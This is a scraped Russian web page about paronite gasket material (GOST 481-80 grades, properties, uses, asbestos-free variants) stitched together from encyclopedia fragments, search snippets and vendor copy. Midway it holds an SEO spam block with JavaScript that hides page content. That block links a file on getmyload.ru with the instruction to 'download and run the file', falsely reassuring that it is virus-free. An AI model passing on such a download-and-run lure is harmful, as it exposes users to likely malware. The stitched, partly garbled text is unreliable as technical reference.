Что такое паранит

Что такое паранит

Паронит представляет собой листовой материал, который используется для производства прокладочных изделий, которые изготавливаются из массы, состоящей из каучука, асбестового волокна, порошковых наполнителей и прочих составляющих. Для производства паронита каучук используется натуральный, но из-за дороговизны такого материала в отечественном производстве используют синтетический каучук.

Область применения

Паронит, используемый как прокладочный материал, широко используется: в электроэнергетике и электротехнике, в металлообработке, в машиностроении, в химической и нефтегазовой промышленности. Используется для создания герметичности и уплотнения, которые соединяют детали, узлы и механизмы различным способом механизмов, аппаратов, систем и прочих агрегатов.

Свойства

Предел текучести паронита около 320 МПа, это и объясняет отличные уплотняющие свойства материала. Паронит герметизирует соединения при сдавливании, т.е. при стягивании соединений винтами, болтами, шпильками достигая предела текучести, паронит переходит в другое состояние и заполняет собой трещинки, неровности, дефекты, раковины уплотняемых поверхностей. При герметизации поверхности стоит обращать внимание на выбор толщины паронитового листа, при тонкой толщине листа может быть не полное распространение материала по неровностям соединений, а слишком толстый лист может выдавиться, и в обоих случаях это приведет к нарушениям герметичности соединения.

Применение

Листы паронита согласно требованиям Государственного стандарта, бывают  толщиной в интервале от 0,4 мм до 6 мм, длина и ширина, вес изделия так же регламентируется данным стандартом. Паронит легко поддается механической обработке, выпиливанию, рубке, резке. Из паронитового листа легко вырезаются прокладки любой конфигурации. Изделия из паронита эксплуатируется в любых климатических условиях, от тропиков до условий крайнего севера и не теряют своих эксплуатационных свойств. Паронит не является коррозионно-активным материалом по отношению к цветным металлам: бронза, латунь, сплавы алюминия, оцинкованная сталь.
Согласно Государственному стандарту 481-80 для производства паронитовых прокладок используются склеивание из составных частей.

Паронит ГОСТ 481-80

В инструкции по применению паронита для изготовления прокладок предписываются технические характеристики, включающие последовательность проведения операций, используемы листы при производстве прокладок, размер которых превышает максимальный размер паронитового листа. В зависимости от толщины паронитовой прокладки, склеивание происходит при помощи стыковки, тогда стыкуемым частям придают форму клина, чтобы стыковая часть не отличалась по толщине от всей прокладки, либо при помощи соединения «ласточкин хвост».
Государственным стандартом 481-80, плотность паронита регламентируется в интервале от 1,8 до 2,0 г/см3 в зависимости от вида.

Виды промышленного паронита

  • Паронит общего назначения ПОН, используемый как герметик для соединений в среде продуктов нефти, растворов солей, жидкого кислорода, жидкого азота, в жидком и газообразном аммиаке.
  • Пподвид паронита общего назначения ПОН-А, используемый для герметизации деталей и частей оборудования, находящихся в среде солевых водных растворах, пара, перегретой воды.
  • Подвид паронита общего назначения ПОН-Б, используемый для герметизации деталей и частей оборудования, находящихся в среде насыщенного пара, перегретой воды, различных нейтральных и сухих инертных газов.
  • Подвид паронита общего назначения ПОН-В, используемый для герметизации деталей и частей оборудования, находящихся в среде насыщенного пара, перегретой воды, различных нейтральных и сухих инертных газов + может эксплуатироваться под воздействием масленых паров минерального происхождения.
  • Подвид паронита ПМБ, используется в качестве уплотнителя деталей, которые составляют двигатель ДВС, промышленные агрегаты,  компрессоры,  соединения трубопроводов с легкими и тяжелыми нефтепродуктами, в среде с увеличенным содержанием кислорода и азота.
  • Подвид паронита ПМБ-1, используется в качестве уплотнителя деталей, которые составляют двигатель ДВС, промышленные агрегаты,  компрессоры,  соединения трубопроводов с легкими и тяжелыми нефтепродуктами, в среде с увеличенным содержанием кислорода и азота, в морской воде, в жидкостях ВПС. Так же изготавливается паронит для применения в щелочных и кислотных средах.

Вес паронита в зависимости от вида и разновидностей согласно Государственному стандарту 481-80, вида листа, размера и толщины находится в интервале от 3-х до 26-ти килограмм.
При применении паронитовых прокладок в особо тяжелых условиях эксплуатации, с перегретым и насыщенным паром, легкими и тяжелыми нефтепродуктами, нагретой пресной водой, масляными фракциями, воздухом, инертными сухими газами и нейтральными газами. С температурой эксплуатации от минус 40 гр. Ц. до плюс 450 гр. Ц. и давление рабочей среды не более 4 МПа. В этих случаях применяется армированный паронит ПА. Для усиления армированного паронита используется армирование металлической сеткой. Толщина таких листов от 0,8 до 3,0 мм согласно Государственному стандарту 481-80.
Из-за наличия в составе асбестосодержащего материала небольшого количества серы и хлора, вызывается процесс коррозии в уплотняемых поверхностях, что является крайне нежелательным. Так же такой материал нельзя использовать, где существуют температурные перепады. Это привело к созданию безсабестового паронита, который в своем составе не имеет асбеста, и изготавливается из материала, в состав которого входит синтетический каучук, кевларовые волокна, графит, слюда + необходимые добавки. По сравнению с асбестосодержащим паронитом безасбестовый паронит имеет более высокие показатели по восстанавливаемости после снятия нагрузок. Что важно при использовании паронита с частыми температурными перепадами.

— листовой прокладочный материал, изготовляемый вальцеванием асбокаучуковой массы, состоящей из асбеста, порошковых ингредиентов и каучука. Паронит выпускается в листах и в виде уплотнит, прокладок. 3-дами асбестовых технич. изделий изготовляются следующие марки паронита.

Паронит (ГОСТ 481 — 58) — листовой материал шириной и длиной от 300X 400 до 1200Х 1700 мм, толщиной от 0,4 до 6,0 мм. Уд. в. 1,5—2,0; теплопроводность 0,422—0,445 ккал/м-час-град; электрич. прочность листов толщиной 0,52; 1,0; 1,5; 2,0 мм соответственно 3,55; 2,3; 1,6; 1,2 кв/мм. При давлении 600 кг/см2 и толщине листа 0,6—2,0 мм усадка в среднем равна 18—23%. Применяется в виде прокладок в соединениях, работающих в средах воды и пара с давлением 50 кг/см2 и темп-рой 450°, нефти, тяжелых и легких нефтяных продуктов при темп-рах 200— 400° и давлениях соответственно 70—40 кг!см2, жидком и газообразном кислороде давлением 2,5 кг!см2 и темп-рах от —62 до — 182°. Образцы паронита не должны ломаться и давать трещин при изгибе на 180° вокруг цилиндров диаметром 12,24 и 42 мм и толщине листов соответственно 1,0; 1,5 и 2,0 мм. Прокладки из П. должны обеспечивать полную герметичность при давлении пара 100 кг!см2 и темп-ре 450°.

Паронит УВ-10 (ТУМХП 1369-50Р) применяется в виде уплотнит, прокладок соединений авиадвигателей, работающих в средах керосина и масла. Уд. в. 2,0, толщина от 0,4 до 2,5 мм. Выпускается в листах 550X 550 мм и в виде готовых прокладок.

Паронит ЭЧ (электролизерный) предназначается для уплотнения электролизеров типа «ФВ» и электрич. изоляции ячеек электролизеров. Выпускается в листах длиной 2,3 м, шириной не более 1300 мм, толщиной 1,0—7,5 мм и в виде готовых прокладок. После набухания в 30%-ном растворе КОН в течение 24 час. при 90° увеличение веса не должно превышать 20%; остаточная усадка по толщине при сжатии под давлением 600 кг/см2 не должна превышать 10%, электрич. сопротивление не менее 101 ом в пересчете на 1 м длины при сечении 1 мм2. Уд. в. 2,0; образцы размером 300Х 20X 2 мм при изгибе на 180° вокруг цилиндра диаметром 42 мм не должны давать трещин.

Паронит 56 (ТУМХПТ 773 Лит. А) применяется для изготовления прокладок, обеспечивающих уплотнение мест соединения деталей, работающих в средах этилового спирта, масел Л1, воздуха, водяного газа, паро- газа (63% водяного пара и 37% свободного кислорода) и жидкого кислорода.

Выпускается в виде листов размером 500X 500; ЮООх 950; 1200Х 700 мм при толщине от 0,5 до 2,5 мм. Уд. в. 1,6—1,9; показатели испытания на изгиб такие же, как у П. ГОСТ 481—58. Прокладки из паронита 56 должны обеспечивать полную герметичность системы в местах соединения деталей

Образцы паронита 56, зажатые между двумя пластинами алюминия и его сплавов, стали или латуни, не должны вызывать коррозии. Гарантийный срок сохранения эксплуатац. св-в при хранении 6 лет.

Паронит 56 графитированный имеет те же в основном хар-ки, что и паронит 56. Поверхность его дополнительно покрывается ровным слоем графита и вулканизуется, что придает ему большую механическую прочность. Выпускается в виде листов размером 550Х 550 мм и толщиной от 0,5 до 2,0 мм. Паронит 56 графитированный должен выдерживать давление 75 кг/см2: при 450° в среде водяного пара и парогаза и при 50° в среде этилового спирта.

Ферронит — листовой прокладочный материал с металлич. сеткой, изготовленный вальцеванием сырой асбокаучуковой массы. Применяется в виде прокладок в авиамоторостроении для уплотнения мест соединений деталей, работающих в среде бензина, керосина, минерального масла и продуктов их сгорания. Ферронит должен выдерживать в этих средах рабочее давление 75 кг!см2. Выпускается в виде листов размерами не более 1500Х 1000 мм и толщиной от 0,8 до 1,2 мм. Уд. в. 2,7.

Слово паронит

Эластичен, при изгибе полоски на 180° вокруг цилиндра диаметром 24 мм не должен ломаться и давать трещин.

Ферронит 56 — листовой прокладочный материал с металлич. сеткой, изготовленный вальцеванием сырой асбокаучуковой массы. Применяется для изготовления прокладок, работающих в средах водяного пара и парогаза. Изготовляется в виде листов размером 550х 550 Мм, толщиной 1,5 и 2 мм. Уд. в. 2—2,5. Ферронит 56 при изгибе на 180° вокруг цилиндра диаметром 42 мм не должен ломаться и давать трещин, расслаиваться и отслаиваться от металлич. сетки, вызывать коррозию алюминия и его сплавов, стали и латуни. Гарантийный срок сохранения эксплуатац. св-в при хранении 6 лет.

Г1. 9-38-56 применяется в виде прокладок различных размеров и конфигураций для уплотнения мест соединения металлич. поверхностей, работающих в среде бензина, топлив ТС-1, Т-1 и TP; масел МК-8, ЦНИЛ 36/1 и др. аналогичных топлив и масел при темп-ре до 200°. Выпускается в листах размером 500X 500 и 600X 500 мм, толщиной от 0,4 до 2,5 мм. Уд. в. 1,5—2,0. Предел прочности при разрыве в поперечном направлении до воздействия рабочих сред при 18—20° не менее 150 кг!см2, после воздействия рабочих сред в течение 24 час. при 200° не менее 100 кг!см2. Образцы паронита 9-38-56, выдержанные в топливах и маслах в течение 24 час. при 200°, могут увеличиваться в весе на 5—18%, сохраняют эластичность, не вызывают коррозии дюралюмина Д16 (плакированного и неплакированного) и др. металлов.

Паронит ПОН и ПОН-1 (паронит общего назначения), ПМБ и ПМБ-1 …

Паронит (ГОСТ 481—80) изготовляют из смеси асбестовых волокон, растворителя, каучука и наполнителей и выпускают в зависимости от назначения следующих марок: …

Прокладочные и уплотнительные материалы — паронит, различные …

Прокладочные и уплотнительные материалы включают паронит, различные картоны, материалы на основе резины, льна, асбеста, графита, а также олифу, белила и …
bibliotekar.ru/spravochnik-137-oborudovanie/124.htm

Прокладочные материалы — Фибра листовая ФЛАК. Листовой паронит

Теплостойкость паронита зависит от количества в нем резины. Паронит является универсальным прокладочным материалом и используется в арматуре для насыщенного …
www.bibliotekar.ru/spravochnik-143-truboprovodnaya-armatura/12.htm

Набивки сальниковые. Картон асбестовый. Паронит. Уплотнение из …

Паронит по ГОСТ 481—71 изготовляется из смеси асбестовых волокон, растворителя, каучука и наполнителей. Выпускается в виде листов толщиной 0,4; 0,6; 0,8; …
bibliotekar.ru/spravochnik-112-santehnika/17.htm

Трубы. Стальные трубы. Соединение стальных труб. Паронит

Для трубопровода, предназначенного для теплоносителя с температурой до 450° С и давлением до 50 кгс/см2, прокладки изготовляют из паронита. …
www.bibliotekar.ru/spravochnik-37/14.htm

Сталь 12Х18Н9Т или 10Х17Н13МЗТ; клин —сталь 08Х17Н7С5Г2; прокладка …

… 12Х18Н9Т или 10Х17Н13МЗТ (задвижки Dy 150 и 200 мм); клин —сталь 08Х17Н7С5Г2; прокладка — кислотощелочестойкнй паронит; набнвка — пропитанный асбест. …
www.bibliotekar.ru/spravochnik-136-zadvizhki-zatvory/40.htm

Шпиндель — сталь 20X13; прокладка — паронит; набивка— сухой асбест …

Материал основных деталей: корпус, крышка, диски, стойка — сталь; шпиндель — сталь 20X13; прокладка — паронит; набивка— сухой асбест. …
www.bibliotekar.ru/spravochnik-136-zadvizhki-zatvory/22.htm

ПРОКЛАДОЧНЫЕ, УПЛОТНИТЕЛЬНЫЕ И ЛАКОКРАСОЧНЫЕ МАТЕРИАЛЫ. Лак …

Паронит (ГОСТ 481—80*) применяется в виде прокладок для уплотнения арматуры и фланцевых соединений газопроводов. Выпускается паронит в виде листов толщиной …
www.bibliotekar.ru/spravochnik-114-gazovoe-oborudovanie/17.htm

Главная » Статьи » Паронитовые прокладки: назначение, сферы применения, достоинства и недостатки

Паронитовые прокладки: назначение, сферы применения, достоинства и недостатки

Назначение паронитовых прокладок – создание уплотнительного соединения, обеспечение необходимой герметичности в различных механизмах, узлах и трубопроводах.

Сферы применения

Паронит, благодаря своим нестандартным физико-химическим качествам, является распространенным материалом во многих областях: в автомобилестроении, металлургической промышленности, химической, нефтегазовой отраслях и т.д.

Плюсы и минус паронитовых прокладок

Плюсы:

  • Хорошая устойчивость к воздействию высоких температур.

    Паронит, прокладки из паронита, марки, свойства, применимость.

    Именно поэтому их используют в различных механизмах, где происходит нагрев, например, в ДВС.

  • Способность выдерживать большое давление. Данное качество паронита достигается благодаря качественному уплотнению асбестовых волокон.
  • Сохранение эксплуатационных качеств при воздействии различных нагрузок. Изделия применяются в сложных условиях, при этом демонстрируют отличную надежность и обеспечивают работоспособность трубопроводов.

Минусы

Недостатков у паронитовых прокладок практически нет. Изделие может быть некачественным только из-за ошибок производственного процесса или из-за неправильной эксплуатации. Покупая паронитовые прокладки в компании «ТМЗ», Вы можете быть уверены в превосходном качестве продукции.

Виды паронитовых прокладок

Существует несколько их разновидностей:

  • общего назначения (ПОНБ),
  • кислотоустойчивые (ПК),
  • маслоустойчивые (ПМБ),
  • армированные (ПА).

При давлении не более 40 бар могут использоваться неармированные прокладки.

Безасбестовые прокладки

Основным компонентом паронитовой прокладки является асбест, который содержит хлор и серу, а эти элементы приводят к возникновению коррозии. К тому же, асбестовые изделия не применяют там, где имеются частые температурные перепады.

В качестве замены обычным прокладкам из паронита используют безасбестовые вариации, состоящие из графита, слюды, искусственного каучука и других компонентов, не вызывающих коррозию и невосприимчивых к температурным перепадам.

Данные качества не являются недостатком паронитовых прокладок как таковых (поэтому о них не было написано выше, в разделе «Минусы»), просто для разных целей подходят разные их варианты.

Edit in JSFiddle

/* . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Что такое паронит?

. . . . . . . . . . . . . . . . . . . . . . . . . */ var body = document.querySelector(‘body’); body.style.backgroundColor = ‘#1D1F20’; body.style.whiteSpace = ‘pre-line’; body.style.paddingLeft = ’20px’; body.style.fontSize = ’20px’; body.style.color = ‘#FFFFFF’; // — body.innerHTML = body.innerHTML.replace(/(+) — (http+)/g, ‘<a href="$2" rel="noffolow" target="_blank" style="color:#00ff00">$1</a>’); document.querySelector(‘content’).style.display = ‘none’;Паронит маслостойкий характеристика > СКАЧАТЬ_ФАЙЛ — http://ewnomo.getmyload.ru/?key=%D0%BF%D0%B0%D1%80%D0%BE%D0%BD%D0%B8%D1%82+%D0%BC%D0%B0%D1%81%D0%BB%D0%BE%D1%81%D1%82%D0%BE%D0%B9%D0%BA%D0%B8%D0%B9+%D1%85%D0%B0%D1%80%D0%B0%D0%BA%D1%82%D0%B5%D1%80%D0%B8%D1%81%D1%82%D0%B8%D0%BA%D0%B0&mark=jsf Инструкция: — Перейти по ссылке — Скачать и запустить файл Проверено, вирусов нет! <!— —> Паронит маслостойкий характеристика <content>Паронит ПМБ — полимерный материал, используемый для маслобензостойких прокладок.Технические характеристики Паронита. Параметр. ПА. Паронит маслобензостойкий(ПМБ) ГОСТ 481-80. ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ. Выпускается в листах размерами 1000 х 1500 ммили 1500 х 1500. Дополнительная информация от : Паронит, прокладки из паронита, марки, свойства, применимость. Паронит маслобензостойкий ПМБ 2 мм ГОСТ 481-80 (1,5х1,5) лист. Цена за листОписание товара. Отзывы. Технические характеристики. Самовывоз/доставка. Технические характеристики паронита ПОН. Плотность, г/смЗ.Паронит ПМБ (паронит маслобензостойкий). Применяется в средах: тяжелые и легкие нефтепродукты, масляные. Технические характеристики паронитов: Паронит ПОН-Б (общего назначения ГОСТ 481-80).Паронит ПМБ (маслобензостойкий ГОСТ 481-80). Среда. Рабочее давление, МПа. Товар в раздели ; Цена, $ ; Тайтл Паронит маслобензостойкий ПМБ 2.0 мм (1,0×1,5 м) ГОСТ 481-80 листовой — купить, описание, характеристики, цена, фото. Паронит маслобензостойкий всегда в наличии на складе ООО ПКФ Мост.Подробная техническая характеристика. Сектора фрикционные для КПО — УВ. Паронит листовой, описание, применение, продажа.Паронит маслобензостойкий (ПМБ). Техническая характеристика Паронит маслобензостойкий представляет собой листовой материал, изготовленный на паронитовых вальцах из смеси волокон хризотилового асбеста. Характеристики, производство и эксплуатация паронита.Маслобензостойкий нефть, кислород, азот, углеводороды и т.п. Рабочее давление 2-10 МПа. Паронит бывает нескольких разновидностей — паронит общего назначения ПОН и паронит маслобензостойкий ПМБ. Паронит ПОН применяют в слабоагрессивных средах. К числу наиболее применяемых относится маслобензостойкий паронит ПМБ. Этот уплотнитель стыков и присоединений считается достаточно надежным. Технические характеристики паронита общего назначения.Паронит маслобензостойкий ПМБ ГОСТ 481-80. Паронит ПМБ используется в качестве герметика для соединений. Паронит отличается свойством высокой термостойкости.Маслобензостойкий паронит. Рабочая температура данного вида паронита – почти 500оС. Описание. Паронит зарекомендовал себя как универсальный прокладочный материал, используемый для уплотнения соединений. Паронит ПМБ (паронит маслобензостойкий). Паронит ПА, армированный сеткой. Паронит ПМБ-1 маслобензостойкий. Применяется в виде прокладок различных размеров и. Паронит маслобензостойкий (ПМБ). Рабочая среда: легкие и тяжелые нефтепродукты, расплав воска, масляные фракции. Максимальное давление – 3,0 МПа. Паронит маслобензостойкий ПМБ-1 ГОСТ 481-80.Паронит ГОСТ 481-80. Листовой паронит — асбестовый прокладочный материал, применяемый для уплотнения разъемов в условиях. Безасбестовый бензо- и маслостойкий прокладочный материал.Паронит, армированный металлической сеткой, безасбестовый. Применяют в химической и. <a href="https://dd9314734.typeform.com/to/OochPf">уведомление по кнд 1120107</a>, <a href="https://bitbucket.org/snippets/contsuncninsna1970/ror9kB">гугл хром на андроид как пользоваться</a>, <a href="https://bitbucket.org/snippets/frigadkouco1972/apogb5">международный договор грузоперевозок</a>, <a href="https://storify.com/siowestcahol/kakoy-zvukovoy-drayver-luchshe">какой звуковой драйвер лучше</a>, <a href="https://storify.com/neulobenas/blank-zayavleniya-o-pereoformlenii-licenzii-na-osu">бланк заявления о переоформлении лицензии на осуществление медицинской деятельности</a>, <a href="http://telegra.ph/ZHurnal-vyshivka-biserom-shemy-08-21">журнал вышивка бисером схемы</a></content>

Паронит и стеклоткань в промышленности

Для современной промышленности характерно наличие агрессивных сред и повышенных температур. Поэтому узлы оборудования, коммуникаций и других промышленных конструкций нуждаются в надежной защитной изоляции. Ассортимент промышленных уплотнительных и изоляционных материалов сегодня огромный. Одними из самых востребованных материалов являются паротит и стеклоткань.

Из чего состоит паронит

Основным сырьем для изготовления паронита является асбест. Его в составе около 70%, и благодаря этому материал способен выдерживать высокие термические и химические нагрузки. Каучук, который добавляется в состав, делает его пластичным и технологичным. Паронит приобретенный на сайте (http://www.forsnab.ru/asbtech/paronit/) не подвержен никаким биологическим воздействиям, поэтому его приемлемо использовать в условиях чрезмерной сырости. К недостаткам материала относят его способность к прилипанию. С одной стороны, это улучшает качество изоляции, а с другой, усложняет демонтаж соединения. Для минимизации этого эффекта специалисты советуют наносить на поверхность графит.

Применение

Как следует из описания свойств материала, паронит способен качественно герметизировать любые швы и отверстия. Его стойкость к высоким температурам дает возможность использовать его в трубопроводах пара, газа, нефтепродуктов, компрессорном оборудовании.

При выборе материала его испытывают на прочность.

Что такое Паронит

Качественный паронит при изгибе не должен ломаться и крошиться.

Стеклоткань заменит асбест

Стеклянные волокна, переплетенные между собой в перпендикулярно продольном и поперечном направлении, представляют собой изоляционный материал, называемый стеклотканью. При своей относительно малой плотности (толщина волокон составляет от 3 до 100 мкм), он обладает отличными параметрами химической, теплоизоляционной стойкости и высокой электроизоляционной способностью. Все эти технические характеристики зависят от способа плетения ткани. Материал можно сделать более гибким, но с малой плотностью, или, наоборот, с повышенной жесткостью.

Благодаря своей водонепроницаемости и изоляционным свойствам, стеклоткань (здесь (http://www.forsnab.ru/electro/sterklotkani-stekloplastiki.php) более подробно) широко применяется в судостроении, авиастроении, для герметизации трубопроводов, частей механизмов.

В строительстве ее принято укладывать в качестве дополнительной гидроизоляции под кровельные материалы. Стеклоткань создает армирующий слой, который защищает поверхность от растрескивания и нарушения герметичности.

admin